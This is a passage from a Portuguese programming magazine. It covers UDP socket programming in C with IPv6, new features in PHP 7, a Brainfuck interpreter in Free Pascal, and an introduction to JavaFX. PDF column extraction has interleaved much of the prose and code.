empregue a funo close, passando-se o descritor do socket O processo dever tratar do sinal, detetando que se trata de
como nico parmetro funo. um pedido sem resposta, voltando a repetir o pedido ao ser-
vidor ou, caso tenha ultrapassado um limiar de repeties,
O cdigo da aplicao cliente udp_cliente.c mostrado

32
A PROGRAMAR

PROGRAMAO DE APLICAES CLIENTE/SERVIDOR ASSENTES NO PROTOCOLO DE TRANSPORTE UDP

informar o utilizador de que no possvel contactar a aplica- ()


o servidor. ret = sendto(socket_udp, Resposta_S,
Resposta_tam, 0, (struct sockaddr *)
Adaptao ao IPv6 &end_cliente_IPv6,end_cliente_tam);
()
Os programas cliente e servidor podem ser facilmente
adaptados ao protocolo IPv6. As principais alteraes envol- Listagem 18: Adaptaes do cdigo do servidor ao protocolo
vem o uso do identificador AF_INET6 em lugar do identificador IPv6
AF_INET e o uso da estrutura de endereos especfica do
()
IPv6: struct sockaddr_in6 em substituio da struct soc- /* Criar socket */
kaddr_in. Os nomes dos campos da struct sockaddr_in6 int socket_udp;
adotam tambm uma designao associada ao IPv6, sendo o socket_udp = socket(AF_INET6, SOCK_DGRAM, 0);
sufixo sin_ (IPv4) substitudo pelo sufixo sin6_. Assim, os if (socket_udp == -1) {
fprintf(stderr, "ERRO ao criar socket:%s\n",
campos da struct sockaddr_in6 so o sin6_family, sin6_addr strerror
e sin6_port. A Listagem 18 e a Listagem 19 mostram, respeti- (errno));
vamente, as adaptaes necessrias para IPv6 ao cdigo do exit(4);
}
programa servidor e do programa cliente. struct sockaddr_in6 end_servidor_IPv6;
ssize_t ret;
() /* Preenche endereo do servidor */
/* Criar socket */ memset(&end_servidor_IPv6, 0,
int socket_udp; sizeof(end_servidor_IPv6));
socket_udp = socket(AF_INET6, SOCK_DGRAM, 0); end_servidor_IPv6.sin6_family = AF_INET6;
if (socket_udp == -1) { ret = inet_pton(AF_INET6, end_IP,
fprintf(stderr, "ERRO ao criar socket:%s\n", &end_servidor_IPv6.sin6_addr.s6_addr);
strerror(errno)); ()
exit(4); end_servidor_IPv6.sin6_port = htons(porto);
} ()

struct sockaddr_in6 end_servidor_IPv6; Listagem 19: Adaptaes do cdigo do cliente ao protocolo


memset(&end_servidor_IPv6, 0, IPv6
sizeof(end_servidor_IPv6));
end_servidor_IPv6.sin6_family = AF_INET6; Nota final
end_servidor_IPv6.sin6_addr = in6addr_any;
end_servidor_IPv6.sin6_port = htons(porto); Este artigo exemplificou o uso do protocolo de trans-
if (bind(socket_udp, porte UDP em ambiente Linux com recurso API socket
(struct sockaddr *)&end_servidor_IPv6,
sizeof(end_servidor_IPv6)) == -1) { BSD. Em particular, foi implementada uma aplicao servidor
fprintf(stderr, "ERRO no bind: %s\n", e uma aplicao cliente. Apesar da sua aparente simplicida-
strerror(errno)); de, muito ficou por dizer sobre o uso de sockets do tipo UDP.
exit(5);
} Ao leitor interessado sugere-se a leitura de (Stevens, Fen-
() ner, & Rudoff, 2004).
struct sockaddr_in6 end_cliente_IPv6;
Bibliografia
()
while (1) { Blinn, B. (13 de 10 de 2016). Byte Order. Obtido de http://
printf("a aguardar pedido cliente (porto:%d)\n", www.bruceblinn.com/linuxinfo/ByteOrder.html
porto);
end_cliente_tam = sizeof(end_cliente_IPv6); Stevens, W. R., Fenner, B., & Rudoff, A. (2004). UNIX Net-
ret = recvfrom(socket_udp, Buff_S, Buff_tam, work Programming: The Sockets Networking API.
0,(struct sockaddr*)&end_cliente_IPv6,
&end_cliente_tam); Addison-Wesley Professional.

AUTOR
Escrito por Sandro Patrcio Domingues

professor do Departamento de Eng Informtica na Escola Superior de Tecnologia e Gesto (ESTG) do Instituto Politcnico
de Leiria (IPLeiria). Tem lecionado, entre outras, as disciplinas de Programao Avanada e Sistemas Operativos da Licenci-
atura em Engenharia Informtica. ainda docente da ps-graduao em Informtica de Segurana e Computao Forense.
Escrito por Vtor Carreira

leciona as disciplinas de Programao Avanada, Sistemas Operativos, Aplicaes para a Internet e Desenvolvimento de
Aplicaes Distribudas ao curso de Licenciatura em Engenharia Informtica da Escola Superior de Tecnologia e Gesto do
Politcnico de Leiria.
Escrito por Carlos Grilo

coordenador do Mestrado em Engenharia Informtica Computao Mvel da Escola Superior de Tecnologia e Gesto do
Politcnico de Leiria. Leciona as disciplinas de Programao Avanada, Inteligncia Artificial e Desenvolvimento de Aplicaes
Empresariais ao Curso de Licenciatura em Engenharia Informtica.

33
A PROGRAMAR
PHP 7

Neste artigo, traremos informaes a respeito do PHP Resultado


7, alguns dos novos recursos e exemplos de cdigo que
int 14
podem executar de maneiras diferentes em verses anteriores
float 18.125
7. O PHP 7 foi liberado em dezembro de 2015, atualmente
encontra-se na verso 7.0.11 (este artigo est sendo escrito
Cdigo PHP 7
em outubro de 2016).
A linguagem PHP surgiu na dcada de 1990 como uma <?php
//php 7
linguagem de scripting interpretada no servidor, mas seu function getTotal($a, $b) : float {
histrico no o foco deste artigo e pode-se encontrar mais return $a * $b;
informaes sobre no link http://php.net/manual/history.php. }

A especificao do PHP pode ser encontrada em http://bit.ly/ $total = getTotal(2, 7);


var_dump($total);
php-langspec. Possui uma sintaxe parecida com C e Perl.
Palavras reservadas $total = getTotal(2.5, 7.25);
var_dump($total);
As seguintes palavras no podem ser usadas como Resultado
nomes de classes, interfaces ou traits: int, float, bool, string,
true, false e null. claro que no seria uma boa prtica de float(14)
programao usar essas palavras como identificadores, float(18.125)
mesmo assim, o cdigo abaixo executaria na verso 5.6.x, mas
acusa erro na verso 7.0.x. Repare que a nica mudana nos exemplos de
cdigo acima, ocorre na linha 3. No PHP 5.6 no permitido
<?php definir um tipo de retorno, se a instruo : int for
class bool acrescentada, o interpretador adusar um erro de sintaxe. J
{ no cdigo da verso do PHP 7, ao indicarmos um tipo de
private $atributo1;
retorno, o interpretador far as devidas converses. Se ao
public function setAtributo1($valor){ invs de declararmos o retorno do tipo int, tivssemos
$this->atributo1 = $valor; declarado do tipo float, ento as duas sadas seriam do tipo
} float, como est sendo demonstrado o terceiro exemplo
public function getAtributo1(){ da tabela acima.
return $this->atributo1;
} Operador spaceship (nave espacial)
}
O operador scpaceship <=> , compara dois valores e
$object1 = new bool(); retorna 0 (zero) se os dois operandos forem iguais, retorna -
1 se o operando da direita for maior e retorna 1 se o
$object1->setAtributo1("teste de entrada");
echo $object1->getAtributo1(); operando da esquerda for maior. Este operador pode ser
utilizado com qualquer tipo de dado, mas preciso ficar
?> atento a comparaes de strings. Ele no compara apenas o
tamanho das string, pois cada string convertida em um
Declarao de tipo de retorno nmero e isto influenciar o resultado, como pode ser visto
O PHP 7 implementa suporte a declarao de tipo de nos exemplos abaixo.
retorno. Isso faz com que o retorno de uma funo seja de um Este operador novo no PHP7 e se voc tentar
tipo especificado. executar este cdigo em verses anteriores, provavelmente
Cdigo PHP 5.6 aparecer um erro de sintaxe.

<?php <?php
//php 5.6 //operatorSpaceship.php
function getTotal($a, $b) { $a = 10;
return $a * $b; $b = 20;
} print_r($a <=> $b); // -1

$total = getTotal(2, 7); $a = 10;


var_dump($total); $b = 10;
$total = getTotal(2.5, 7.25); echo "<br />";
var_dump($total); print_r($a <=> $b); // 0

34
A PROGRAMAR

PHP 7
$a = 20; $var1 = 10;
$b = 10; $var2 = 3;
echo "<br />"; echo $var1 / $var2 . "<br />";
print_r($a <=> $b); // 1 echo (int)($var1 / $var2) . "<br />";
echo intdiv($var1, $var2) . "<br />";
$a = "AAa"; //asc "A" -> 65 ?>
$b = "AAA"; //asc "a" -> 141
echo "<br />";
print_r($a <=> $b); // 1 Resultado
?>
8
9223372036854775807
Diviso de inteiros e constant PHP_INT_MIN -9223372036854775808
O PHP fornece algumas constantes para obtermos os 3.3333333333333
limites de tipos inteiros. At a verso 5.6, s haviam as 3
3
constantes PHP_INT_SIZE e PHP_INT_MAX, que informavam
o nmeros de bits para o tipo inteiro e o valor mximo de um Agrupamento de declaraes use
tipo inteiro, respectivamente. O PHP no oferece suporte a
Classes, funes e constantes podem ser agrupadas
inteiros no sinalizados. No PHP7 foi disponibilizada a
em uma linha. Antes da verso 7, para cada classe, funo
constante PHP_INT_MIN, que informa o valor mnimo para o
ou constante que precisava ser adicionada ao fonte atual,
tipo inteiro.
era preciso escrever uma linha de cdigo. A partir da verso
A funo intdiv (int intdiv ( int $dividendo , int $divisor )) 7, os elementos em um mesmo diretrio podem ser
faz a diviso de inteiros. Antes da verso 7 no havia um agrupados, diminuindo a quantidade de cdigo a ser
operador e uma funo para diviso de inteiros, e se o digitado. Veja no exemplo a seguir:
resultado da diviso fosse um nmero de ponto flutuante o
PHP 5.6 e verses anteriores
PHP fazia a converso automaticamente. Para obter somente
a parte inteira, era preciso fazer a converso para inteiros, <?php
como pode ser visto no exemplo a seguir. A linha 6 demonstra // PHP 5.6
o resultado da constante PHP_INT_MIN, que na verso 5.6 use some\namespace\ClassA;
use some\namespace\ClassB;
no reconhecida e imprime na tela o texto PHP_INT_MIN e a use some\namespace\ClassC as C;
linha 12 demonstra como poderia ser feito a diviso de inteiros
no PHP 5.6, visto que no existe a funo intdiv(). use function some\namespace\fn_a;
use function some\namespace\fn_b;
Cdigo PHP 5 use function some\namespace\fn_c;

<?php use const some\namespace\ConstA;


// php5.6 use const some\namespace\ConstB;
use const some\namespace\ConstC;
echo PHP_INT_SIZE . "<br />"; ?>
echo PHP_INT_MAX . "<br />";
echo PHP_INT_MIN . "<br /><br />"; Equivalente a partir da verso 7
$var1 = 10;
$var2 = 3; <?php
// PHP 7
echo $var1 / $var2 . "<br />"; use some\namespace\{ClassA, ClassB, ClassC as C};
echo (int)($var1 / $var2) . "<br />"; use function some\namespace\{fn_a, fn_b, fn_c};
echo intdiv($var1, $var2) . "<br />"; use const some\namespace\{ConstA, ConstB,
?> ConstC};
?>

Resultado

8
9223372036854775807
PHP_INT_MIN
A linguagem PHP
3.3333333333333
3
surgiu na dcada de
Cdigo PHP 7.0
1990 como uma lingua-
<?php
// php7
gem de scripting inter-
echo PHP_INT_SIZE . "<br />"; pretada no servidor
echo PHP_INT_MAX . "<br />";
echo PHP_INT_MIN . "<br /><br />";
()

35
A PROGRAMAR
PHP 7
Concluso
Novas verses de softwares sempre geram
expectativas quanto s novas funcionalidades, melhorias de
desempenho, maior produtividade etc, mas quando se trata de
linguagens de programao com cdigo legado preciso ter
A especificao
cuidado. Antes de atualizar para a nova verso, preciso
realizar testes, verificar mudanas sintticas e se aprofundar do PHP pode ser en-
em todas essas mudanas.
Alm das mudanas em cdigo legado importante
contrada em http://
tambm conhecer as novas funcionalidades para realmente
aproveitar melhorias de produtividade e/ou desempenho, bit.ly/php-langspec.
afinal, aps trabalhar por anos seguindo um determinado
padro, deve haver um esforo para se adaptar a estas Possui uma sintaxe pa-
melhorias.
Um prximo artigo ser escrito com o objetivo de recida com C e Perl.
descrever profundamente algum aspecto bem especfico desta
linguagem de programao.

AUTOR
Escrito por Fbio Basso

Tcnico em Processamento de Dados pelo Colgio Estadual Emlio de Menezes, graduado em Processamento de Dados
pela UNOPAR - Arapongas, especialista em Cincia da Computao pela Universidade Estadual de Londrina. Trabalha com
tecnologia da informao desde 1994, atuando na rea acadmica e no mercado. Leciona para o CST em Anlise e Desen-
volvimento de Sistemas pela UNOPAR - Arapongas desde 2003, assumiu a coordenao do curso em Jul/2016 e em paralelo
atuou como consultor, desenvolvedor e gerente de tecnologia da informao, sempre focando na integrao de teoria e prti-
ca. Apaixonado pela sua famlia, pelo ensino, por tecnologia e cincia.

36
A PROGRAMAR

Lets Brainfuck in Pascal!


Com os devidos crditos originalidade do criador des- mo, que quaisquer caracteres que no sejam os 8 operado-
ta linguagem, e ainda mais pela originalidade e no menor res so simplesmente ignorados pelo interpretador, sendo
acertividade pelo nome dado, Brainfuck um clssico do mun- considerados comentrios ao cdigo.
do exotrico da programao. inegvel que, numa no muito
Uma soluo procedural
usual conversa de caf acerca de linguagens exotricas, Brain-
fuck comummente a primeira referida. Com o seu princpio Como tradicional na programao, o maior lema
extremamente simples e sintaxe altamente minimalista, esta Dividir para conquistar. Para simplificar a implementao
linguagem consegue fazer jus ao seu nome num piscar de do parser, vamos subdividi-lo em problemas genricos a
olhos. resolver:
No obstante a sua alta aplicabilidade no mundo exo- 1) Como representar a cadeia de clulas?
trico, talvez?, Brainfuck representa um exerccio bastante
2) Como gerir as clulas?
apetecvel para a implementao de um parser. Estando dispo-
nvel na Internet o cdigo-fonte Assembly do interpretador de 3) Como consumir os tokens?
Brainfuck, a sua implementao noutras linguagens recorrendo
4) Como inserir ciclos no parser?
a diferentes paradigmas representa um carcter didctico ine-
gvel. possvel subdividir cada problema apresentado e,
para cada um, vrias solues so possveis. De uma forma
Neste artigo ao qual referncias ao calo no iro
igualmente genrica, estas so as respostas que proponho
faltar por fora da circunstncia ser feita a implementao
para a implementao de uma soluo:
de um interpretador de Brainfuck em Pascal, recorrendo unica-
mente ao paradigma procedural. Iniciemos ento esta curiosa 1) A cadeia de clulas ser implementada atravs de um
jornada! array dinmico cujos valores so do tipo byte;
Uma brevssima introduo ao Brainfuck 2) A gesto das clulas ser feita com recurso a uma
funo por cada operao necessria;
No tendo este artigo por objectivo ser um tutorial desta
linguagem exotrica, ser simplesmente sumariado o princpio 3) Os tokens sero consumidos atravs de um ciclo que
que a rege e os operadores que a constituem. percorre todos os operadores do cdigo;
Brainfuck uma linguagem que tem por princpio a utili- 4) Os ciclos sero implementados recorrendo a recursi-
zao de uma cadeia de clulas (cells) que contm um valor vidade.
numrico positivo, o qual representa um caracter ASCII. Com
Todo o cdigo do parser ficar numa unit fpbrainfuck
os seus nicos 8 operadores, o programador desloca o aponta-
(de Free Pascal Brainfuck), funcionando esta como uma pe-
dor ao longo das clulas e modifica os seus valores unidade a
quena state machine, a qual ser totalmente abstrada dos
unidade. Esta linguagem suporta de igual forma operadores I/O
programas que importarem esta unit.
com um funcionamento extremamente simples: s feito out-
put e input de um caracter de cada vez. Para os propsitos do presente artigo, as operaes I/
O sero implementadas directamente na unit, ficando portan-
Os 8 operadores so, portanto, os seguintes:
to reservada a uma utilizao em aplicaes CLI.
> Desloca o apontador para a clula direita Declaraes preliminares
< Desloca o apontador para a clula esquerda Para representar os operadores, as boas prticas
incentivam ao uso de constantes ao invs do uso directo dos
+ Incrementa em 1 unidade o valor da clula
caracteres no cdigo. Desta forma:
- Decrementa em 1 unidade o valor da clula
const
. Faz output do valor da clula actual BF_NEXTCELL = '>';
BF_PREVIOUSCELL = '<';
, Faz input de um caracter para a clula actual BF_INCCELL = '+';
BF_DECCELL = '-';
BF_OUTPUT = '.';
[ Incio de um ciclo BF_INPUT = ',';
BF_BEGINCYCLE = '[';
] Fim de um ciclo BF_ENDCYCLE = ']';

Denote-se que um ciclo em Brainfuck terminado quan- Uma vez que iremos necessitar de verificar se cada
do o valor da clula actual iguala zero. Convm referir, por lti- caracter presente no cdigo Brainfuck um operador, ser

37
A PROGRAMAR
LETS BRAINFUCK IN PASCAL!
til t-los representados num set of char: inicializao da unit alocar de imediato uma clula no
array dinmico. Logicamente, o apontador iniciar
const com o ndice 0 (zero), apontando assim para a primei-
BF_COMMANDS =
[BF_NEXTCELL , BF_PREVIOUSCELL, ra clula.
BF_INCCELL , BF_DECCELL ,
BF_OUTPUT , BF_INPUT , Gesto das clulas
BF_BEGINCYCLE, BF_ENDCYCLE ]; medida que o cdigo interpretado, as se-
guintes operaes podem ser realizadas:
Uma vez que estas constantes so para uso exclusivo
do parser, sero colocadas na seco de implementao da Avanar para a clula seguinte ou anterior;
unit ao invs da de interface. Por seu turno, a representao
das clulas depender de tipos de dados especficos: Incrementar ou decrementar o valor da clula
actual.
type
TBFCommand = char; Uma vez que um programa em Brainfuck s se
TBFCycle = array of TBFCommand; inicia com uma clula, necessrio criar novas clu-
TBFCell = byte;
TBFArrCell = array of TBFCell; las medida que so necessrias, o que constitui
uma quinta operao de gesto das clulas. Para rea-
Uma vez que cada operador representa um comando lizar as operaes I/O, tambm ser necessrio ace-
directo, um conjunto destes ir representar um ciclo. O parser der e alterar o valor destas de forma directa.
ir, portanto, consumir os tokens fornecidos, sendo o contedo
dos ciclos consumido recursivamente. Todo um programa Cada uma destas operaes ser implementada
Brainfuck ser, portanto, considerado um ciclo por si mesmo, em mtodos separados. A criao de uma clula impli-
tendo como nica diferena o facto de terminar com o fim de ca a alocao de mais espao para o array dinmico,
operaes a realizar e no quando a clula actual tomar o va- devendo o seu valor inicial ser zero:
lor zero:
procedure CreateCell;
procedure ParseBrainfuck(code : TBFCycle); begin
SetLength(datacells, Length(datacells)+1);
A implementao deste procedimento e sua adaptao datacells[High(datacells)] := 0;
para acomodar ciclos sero efectuadas mais frente. end;
Comportamento da state machine A fim de se conferir a necessidade da criao
de novas clulas, ser til uma funo que devolva o
Uma vez que o interpretador ter como princpio uma nmero de clulas actualmente existentes:
state machine minimalista, duas variveis constituiro o cerne
de todas as operaes: o array de clulas e o respectivo apon- function CountCells : longword;
tador. begin
CountCells := Length(datacells);
var end;
datacells : TBFArrCell;
cellidx : longword; O incremento e decremento do valor de cada
clula so igualmente alcanados com dois procedi-
Estas variveis s sero acessveis na seco de imple- mentos nos quais se deve ter em ateno que o seu
mentao da unit, pelo que no devem ser declaradas na sec- valor se encontra no intervalo [0,255].
o de interface uma vez que, dessa forma, estariam publica-
mente acessveis aos programas que a importassem, constitu- procedure IncCell(idx : longword);
indo um elevado risco. begin
if datacells[idx] < 255 then
A state machine ser automaticamente inicializada Inc(datacells[idx]);
end;
aquando do arranque do programa que iomportar a unit
fpbrainfuck e, da mesma forma, ser automaticamente destru- procedure DecCell(idx : longword);
da: begin
if datacells[idx] > 0 then
initialization Dec(datacells[idx]);
SetLength(datacells, 1); end;
datacells[0] := 0;
cellidx := 0;
Para realizar o output do contedo de uma clu-
finalization la, dever ser feita a traduo do valor numrico para
SetLength(datacells, 0); o respectivo caracter da Tabela ASCII:
datacells := nil;
function CellToChar(data : TBFCell) : char;
Uma vez que qualquer programa em Brainfuck begin
CellToChar := Chr(data);
inicia-se obrigatoriamente com uma clula c0 definida, a end;

38
A PROGRAMAR

LETS BRAINFUCK IN PASCAL!


A obteno do valor da clula ser de igual forma BF_DECCELL : DecCell(cellidx);
alcanada atravs de uma funo prpria:
BF_NEXTCELL :
function GetCell(idx : longword) : TBFCell; begin
begin Inc(cellidx);
GetCell := datacells[idx]; if CountCells-1 < cellidx then
end; CreateCell;
end;
Assim, o output constitui a utilizao destas duas
ltimas funes em conjunto: BF_PREVIOUSCELL :
begin
if cellidx > 0 then
procedure OutputCell(idx : longword); Dec(cellidx);
begin end;
write(CellToChar(GetCell(idx))); end;
end; end;
O input requer a traduo inversa, sendo o carac- Contudo, este procedimento recebe operaes
ter lido do teclado convertido no respectivo nmero da de forma directa. Portanto, necessrio criar um par-
Tabela ASCII: ser que consuma os tokens do cdigo Brainfuck o qual
seja igualmente capaz de lidar com ciclos. Como defi-
procedure InputCell(idx : longword);
begin nido no princpio do artigo, o procedimento Parse-
datacells[idx] := Ord(ReadKey); Brainfuck recebe um ciclo e tratar de analisar os to-
end; kens. Uma vez que um ciclo pode conter ciclos dentro
de si, este ser um mtodo recursivo. Todavia, tam-
Gesto de ciclos
bm havamos definido que o programa completo
Para este interpretador, um ciclo definido como em si mesmo um ciclo, tendo como nica diferena o
um conjunto de operadores. Em cdigo, tal traduz-se modo de trmino (d-se com o fim de operaes e no
num array dinmico de caracteres, conforme ficou defi- se baseia no valor das clulas).
nido anteriormente. Mais uma vez, sendo um array din-
De forma a implementar esta diferena, pode-
mico, necessrio alocar e libertar espao para ele:
mos fazer overload do procedimento de forma a conter
function GenerateCycle : TBFCycle; uma flag que indique se se est na presena de um
begin ciclo clssico de Brainfuck ou do programa completo:
SetLength(GenerateCycle, 0);
end; procedure ParseBrainfuck(code : TBFCycle;
iscycle : boolean);
procedure FreeCycle(var cycle : TBFCycle); overload;
begin
SetLength(cycle, 0);
cycle := nil; Desta forma, o procedimento inicial simples-
end;
mente ir chamar este mtodo overloaded, passando
a flag com o valor false, o qual indicar que se trata
Para adicionar operadores a um ciclo, iremos re-
do programa completo:
correr ao seguinte procedimento:

procedure AddToCycle(ch : TBFCommand; procedure ParseBrainfuck(code : TBFCycle);


var cycle : TBFCycle); begin
begin ParseBrainfuck(code, false);
SetLength(cycle, Length(cycle)+1); end;
cycle[High(cycle)] := ch;
end; Ora, um ciclo em Brainfuck termina quando a
clula actual tomar o valor zero. Portanto, todo o par-
Parsing do cdigo Brainfuck
sing ser feito dentro do seguinte ciclo:
As operaes em Brainfuck so, como vimos an-
repeat
teriormente, seis: input e output dos dados das clulas, // parser
mudana do apontador e mudana do valor das clulas. until (not iscycle) or (iscycle and (GetCell
Com os mtodos at agora criados, o processamento (cellidx) = 0));
destas operaes traduz-se num procedimento extrema-
Para percorrer os tokens presentes no argu-
mente simples:
mento thecode, necessitaremos de uma varivel i do
procedure ProcessBrainfuck(ch : TBFCommand); tipo longword, ficando o parser, por fim, dentro deste
begin segundo ciclo:
case ch of
BF_INPUT : InputCell(cellidx); i := 0;
BF_OUTPUT : OutputCell(cellidx);
BF_INCCELL : IncCell(cellidx); while i <= High(code) do begin

39
A PROGRAMAR
LETS BRAINFUCK IN PASCAL!
// parser Carregamento em memria do cdigo
Inc(i);
end; verdade! O interpretador de Brainfuck est
concludo! Contudo, ainda nos resta um problema o
Uma vez que s um total de 8 caracteres constitui
carregamento do cdigo a partir de um ficheiro.
a sintaxe de Brainfuck, necessitaremos de verificar se o
token actual , de facto, um operador Brainfuck (ao qual De forma a que um ficheiro com cdigo Brain-
denominmos de command): fuck seja traduzido num TBFCycle, necessitaremos de
realizar o loading do ficheiro em memria:
if IsBFCommand(code[i]) then begin
// ciclos?
ProcessBrainfuck(code[i]); function LoadBrainfuck(filename : string;
end; out thecode : TBFCycle)
: boolean;
Insere-se, portanto, a necessidade de uma nova var
f : file of char;
funo para verificar se um caracter , de facto, um ch : char;
operador Brainfuck: begin
LoadBrainfuck := FileExists(filename);
function IsBFCommand(ch : TBFCommand) : boolean; if not LoadBrainfuck then
begin Exit;
IsBFCommand := CharInSet(ch, BF_COMMANDS);;
end; AssignFile(f, filename);
Reset(f);
Agora que sabemos se um token um operador thecode := GenerateCycle;
da linguagem Brainfuck, falta apenas implementar o su- while not eof(f) do begin
read(f, ch);
porte a ciclos. Para tal, iremos necessitar das seguintes AddToCycle(ch, thecode);
variveis: end;
CloseFile(f);
var end;
cycle_count : byte;
acycle : TBFCycle = nil; No esquecendo o facto da memria alocada
Quando o token [, iremos ler todo o contedo para um array dinmico necessitar de ser libertada,
do ciclo at se encontrar o ] correspondente. Para tal, ser necessrio implementar o seguinte mtodo:
necessrio acautelar a eventualidade de existirem ci-
clos encadeados: esta a funo do contador procedure FreeBrainfuck(var thecode : TBFCycle);
begin
cycle_count. Iniciamos ento por gerar um ciclo em me- FreeCycle(thecode);
mria, inicializar o contador a 1 e avanar para o prxi- end;
mo token:
Limitaes da unit
if code[i] = BF_BEGINCYCLE then begin
acycle := GenerateCycle; A unit fpbrainfuck, tal como foi aqui implementa-
cycle_count := 1; da, apresenta algumas limitaes:
Inc(i);
end; No permitido interpretar mais do que um fi-
cheiro de cdigo de cada vez, o que impossibili-
Vamos assumir que o cdigo no tem erros, pelo
ta o seu potencial uso em multithreading;
que no existem parntesis desemparelhados. A obten-
o do contedo do ciclo realizada com o seguinte O suporte a comentrios em Brainfuck no
ciclo: completo;
while (code[i] <> BF_ENDCYCLE) or S suportado o seu uso em aplicaes CLI;
(cycle_count > 0) do
begin
if code[i] = BF_ENDCYCLE then exigido ao programador a alocao e liberta-
Dec(cycle_count) o explcitas da memria reservada ao cdigo;
else if code[i] = BF_BEGINCYCLE then
Inc(cycle_count); Uma vez que no est definido um standard de
if cycle_count <> 0 then Brainfuck, esta implementao pode no funcio-
AddToCycle(code[i], acycle);
Inc(i); nar com todos os cdigos disponibilizados na
end; Internet.
Aps a obteno do contedo do ciclo, realizamos Yet Another Brainfuck Interpreter...
o parsing recursivo deste, seguido da libertao da me-
mria alocada: Uma vez implementada a nossa unit fpbrain-
fuck, resta-nos implementar um pequeno programa
ParseBrainfuck(acycle, true);
FreeCycle(acycle); que realize a interpretao de cdigo Brainfuck. Para

Note-se a flag passada com o valor true.

40
A PROGRAMAR

LETS BRAINFUCK IN PASCAL!


tal, vamos assumir que o nome do ficheiro passado para implementar um interpretador a gosto. Adaptando
como um argumento na linha de comandos: a unit para generalizar as operaes I/O, torna-se ain-
da possvel usar esta unit para aplicaes GUI.
program brainfuck;
uses fpbrainfuck; fpbrainfuck no GitHub

var Por pura diverso, mantenho este interpretador


code : TBFCycle; actualizado num Gist na minha conta do GitHub:
begin http://bit.ly/2hDxn8H
if ParamCount = 1 then begin L podem encontrar uma implementao mais
if LoadBrainfuck(ParamStr(1), code) then begin
ParseBrainfuck(code); divertida do interpretador, assim como a unit com
FreeBrainfuck(code); algumas das limitaes j colmatadas (mas cuja im-
writeln; plementao fugiria ao mbito do presente artigo).
end;
end;
{$IFDEF windows}
readln;
{$ENDIF}
end.

Uma vez que encapsulmos todo o parser e o seu


comportamento na unit, resta-nos apenas imaginao

AUTOR
Escrito por Igor Nunes

Farmacutico de profisso e programador amador nos tempos livres, tem um fascnio pelo mundo da tecnologia e a progra-
mao -lhe uma verdadeira terapria anti-stress sem medicamentos. E um bom caf com um Pastel de Belm!

41
A PROGRAMAR
JavaFX : Uma Breve Introduo

Recentemente tive a necessidade de alterar a interface Hello World


grfica de uma aplicao, que tinha sido feita em Java Swing,
Para estes exemplos vou usar a verso 8u122 do
para incluir mais uns campos. Mas a alterao, apesar de sim-
Java que inclui de origem o JavaFX verso 8.
ples, revelou-se uma dor de cabea devidos aos compromissos
de cdigo assumidos. Neste primeiro exemplo vou criar o famoso Hello
World e a ideia criar uma classe que estende de Applicati-
Aconselhei-me com outros colegas, investiguei e optei
on, implementa o mtodo start(javafx.scene.Scene) e invoca
por experimentar o JavaFX e pouco tempo depois tinha uma
o mtodo launch(String[] args).
nova interface grfica a funcionar. J
O que o JavaFX? public class HelloWorld extends Application {

um conjunto de bibliotecas que permitem criar aplica- public static void main(String[] args) {
launch(args);
es grficas e o sucessor do Java Swing, no entanto ambos }
vm includos no JDK:
@Override
JDK 7 update 6: com JavaFX 2.2 public void start(Stage primaryStage)
throws Exception {
JDK 8: com JavaFX 8 // Stage Title
primaryStage.setTitle("Hello World");
Apesar de a nomenclatura do JavaFX ser diferente,
// Begin Scene definition
muitos dos conceitos mantm-se semelhantes com o Java Label helloLabel = new Label();
Swing, pelo que a transio no ser penosa, muito pelo con- helloLabel.setText("Hello World!");
trrio.
StackPane stackPane = new StackPane();
Conceitos Bsicos stackPane.getChildren().add(helloLabel);

Esta frase de William Shakespeare ajuda a compreen- Scene scene = new Scene(
der dois conceitos importantes: stackPane, // Layout Pane
200, // width
All the world's a stage, And all the men and women merely 200 // height
);
players. // End Scene definition
Uma aplicao em JavaFX corre num palco (Stage) e // Add Scene to Stage
composto por inmeras cenas (Scenes). primaryStage.setScene(scene);
// Show Stage
A Stage a janela da aplicao, onde est o titulo e os primaryStage.show();
botes de maximizar, minimizar e fechar. Enquanto uma }
}
Scene representa todo o contedo de uma janela.
Todos os intervenientes da aplicao (Stages, Scenes, Este o resultado:
Controlos) so ns. E um n pode conter muitos ns. Em
analogia com XML, um N um elemento XML.
Ciclo de vida
O ciclo de vida de uma aplicao JavaFX simples. A
classe estende de Application e sempre que uma aplicao
arranca so executadas as seguintes tarefas:
1. criada uma instancia da classe Application
2. invocado o mtodo init();
3. invocado o mtodo start(javax.stage.Stage);
4. Espera que o programa seja terminado (Plataform.exit())
5. invocado o mtodo stop();
O mtodo start(javax.stage.Stage) abstrato e tm que
ser implementado, enquanto os mtodos init() e stop() tm im-
plementao mas no fazem nada. Muito fixe

42
A PROGRAMAR

JAVAFX : UMA BREVE INTRODUO


Layouts da Aplicao setScene2(helloButton2);
// End Scene2 definition
O contedo da janela pode ser personalizado de acordo
com as necessidades da interface grfica. // Add Scene to Stage
primaryStage.setScene(scene1);
Em JavaFX o Pane o equivalente ao Layout do Java Swing e // Show Stage
muitos dos tipos so similares, ou seja, o BorderPane equiva- primaryStage.show();
}
lente ao BorderLayout, GridPane equivalente ao GridLayout,
por entre outros. Os Panes podem ser combinados se assim A implementao dos mtodos das Scene, labels e
for necessrio. textfield semelhante ao exemplo anterior, pelo que so
omitidos. No entanto reala-se a definio dos botes.
Na aplicao apresentada, o layout configurado com
um StackPane que empilha um componente em cima do ante- private Button setButton1() {
rior. Button helloButton = new Button();
helloButton.setId("helloButtonId");
importante definir previamente o layout da interface helloButton.setText("Say Hello");
grfica, para se poder identificar que Panes vo ser necess- helloButton.setPrefWidth(100);
rios e combinados. helloButton.setPrefHeight(25);
helloButton.setOnAction(
Interao com o Utilizador new EventHandler<ActionEvent>() {
@Override
Para que a aplicao possa interagir com o utilizador, public void handle(ActionEvent event) {
existem inmeros controlos que podem ser utilizados: helloLabel2.setText(
"Hello "+helloTextField.getText()
Labels, Button, ChoiceBox, TextField, DatePicker,
);
FileChooser so alguns dos controlos existentes. primaryStage.setScene(scene2);
}
A utilizao dos controlos segue o padro:
});
return helloButton;
Criar o controlo
}
Personalizar o controlo O evento que despoleta a ao definido com o m-
todo setOnAction, que aceita como parmetro uma instncia
Adicionar o controlo Scene de EventHandler<ActionEvent> que s precisa de implemen-
Say Hello to... tar o mtodo handle(ActionEvent event). Neste caso obtm o
valor da caixa de texto, coloca na label da segunda Scene e
Nesta nova aplicao vou combinar estes componentes muda o Stage para a segunda Scene.
para dizer Hello <Nome>. Muito simples, mas que vai abran-
ger um conjunto de temas. O output da aplicao o seguinte

Vo ser colocados os seguintes controlos:

Label

TextField

Button
Como se quer que eles fiquem alinhados verticalmente,
